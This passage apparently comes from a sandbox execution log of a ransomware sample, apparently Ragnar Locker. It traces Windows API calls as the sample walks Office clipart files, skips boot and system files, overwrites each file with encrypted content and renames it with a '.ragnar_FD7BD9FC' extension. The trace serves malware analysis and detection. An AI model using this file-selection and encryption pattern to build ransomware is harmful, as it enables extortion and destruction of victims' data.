liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.693] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb9c4, lpOverlapped=0x0) returned 1 [0089.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.695] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.695] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb9c4, lpOverlapped=0x0) returned 1 [0089.695] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.695] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.696] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.696] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.696] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.696] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.696] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.696] GetProcessHeap () returned 0x580000 [0089.696] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.696] CloseHandle (hObject=0xf4) returned 1 [0089.696] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" [0089.696] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.ragnar_FD7BD9FC" [0089.696] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.697] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1 [0089.697] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.697] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02280_.WMF" | out: lpString1="PE02280_.WMF") returned="PE02280_.WMF" [0089.697] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF") returned=".WMF" [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="autorun.inf") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="boot.ini") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="bootfont.bin") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="bootsect.bak") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="bootmgr") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="bootmgr.efi") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="desktop.ini") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="iconcache.db") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="ntldr") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="ntuser.dat") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="ntuser.ini") returned 1 [0089.697] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="thumbs.db") returned -1 [0089.697] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.697] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.697] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.697] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.697] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.697] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.697] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf")) returned 0x20 [0089.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.698] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26920) returned 1 [0089.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x691f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.698] GetProcessHeap () returned 0x580000 [0089.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.698] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.699] VirtualAlloc (lpAddress=0x0, dwSize=0x6928, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.700] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6928, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6928, lpOverlapped=0x0) returned 1 [0089.701] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.701] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6928, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.701] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6928, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6928, lpOverlapped=0x0) returned 1 [0089.701] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6928, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.701] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.702] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.702] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.702] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.702] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.702] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.702] GetProcessHeap () returned 0x580000 [0089.702] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.702] CloseHandle (hObject=0xf4) returned 1 [0089.702] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" [0089.702] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.ragnar_FD7BD9FC" [0089.702] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.703] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1 [0089.703] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.703] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02282_.WMF" | out: lpString1="PE02282_.WMF") returned="PE02282_.WMF" [0089.703] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF") returned=".WMF" [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="autorun.inf") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="boot.ini") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="bootfont.bin") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="bootsect.bak") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="bootmgr") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="bootmgr.efi") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="desktop.ini") returned 1 [0089.703] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="iconcache.db") returned 1 [0089.704] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="ntldr") returned 1 [0089.704] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="ntuser.dat") returned 1 [0089.704] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.704] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="ntuser.ini") returned 1 [0089.704] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="thumbs.db") returned -1 [0089.704] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.704] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.704] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.704] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.704] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.704] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.704] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf")) returned 0x20 [0089.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.704] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29696) returned 1 [0089.704] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x73f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.704] GetProcessHeap () returned 0x580000 [0089.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.704] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.706] VirtualAlloc (lpAddress=0x0, dwSize=0x7400, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.706] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7400, lpOverlapped=0x0) returned 1 [0089.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.708] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7400, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.708] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7400, lpOverlapped=0x0) returned 1 [0089.708] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7400, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.708] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.708] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.708] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.708] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.709] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.709] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.709] GetProcessHeap () returned 0x580000 [0089.709] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.709] CloseHandle (hObject=0xf4) returned 1 [0089.709] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" [0089.709] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.ragnar_FD7BD9FC" [0089.709] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.710] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1 [0089.710] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.710] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02285_.WMF" | out: lpString1="PE02285_.WMF") returned="PE02285_.WMF" [0089.710] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF") returned=".WMF" [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="autorun.inf") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="boot.ini") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="bootfont.bin") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="bootsect.bak") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="bootmgr") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="bootmgr.efi") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="desktop.ini") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="iconcache.db") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="ntldr") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="ntuser.dat") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="ntuser.ini") returned 1 [0089.710] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="thumbs.db") returned -1 [0089.710] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.710] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.710] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.710] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.710] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.710] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.710] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf")) returned 0x20 [0089.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.711] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16528) returned 1 [0089.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4087, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.711] GetProcessHeap () returned 0x580000 [0089.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.711] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.712] VirtualAlloc (lpAddress=0x0, dwSize=0x4090, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.713] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4090, lpOverlapped=0x0) returned 1 [0089.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.713] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4090, 